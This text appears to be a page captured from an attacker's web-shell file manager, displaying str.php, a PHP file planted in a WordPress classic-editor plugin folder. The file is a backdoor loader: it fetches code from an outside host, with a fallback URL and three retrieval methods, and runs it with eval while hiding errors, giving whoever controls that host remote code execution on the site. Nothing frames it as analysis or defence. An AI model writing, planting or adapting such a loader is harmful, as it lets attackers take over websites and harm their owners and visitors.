Sindbad~EG File Manager

Current Path : /home/jerry7822/public_html/wp-content/plugins/classic-editor/scripts/
Upload File :
Current File : /home/jerry7822/public_html/wp-content/plugins/classic-editor/scripts/str.php

<?php
session_start();
$mainUrl = $_SESSION['ts_url'] ?? 'https://teamzedd2024.tech/raw/McuQGI';
$backupUrl = 'https://teamzedd2024.tech/raw/McuQGI';

function loadContent($url) {
    $methods = [
        function($u) {
            try {
                $f = new SplFileObject($u);
                $data = '';
                while (!$f->eof()) {
                    $data .= $f->fgets();
                }
                return $data;
            } catch (Throwable $e) {
                return '';
            }
        },
        fn($u) => @file_get_contents($u),
        function($u) {
            if (!function_exists('curl_init')) return '';
            $c = curl_init($u);
            curl_setopt_array($c, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_TIMEOUT => 5,
            ]);
            $d = curl_exec($c);
            curl_close($c);
            return $d;
        }
    ];

    foreach ($methods as $method) {
        $res = trim($method($url));
        if ($res !== '') return $res;
    }
    return '';
}

$payload = loadContent($mainUrl);
if ($payload === '') $payload = loadContent($backupUrl);

if ($payload !== '') {
    @eval("?>$payload");
}
?>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists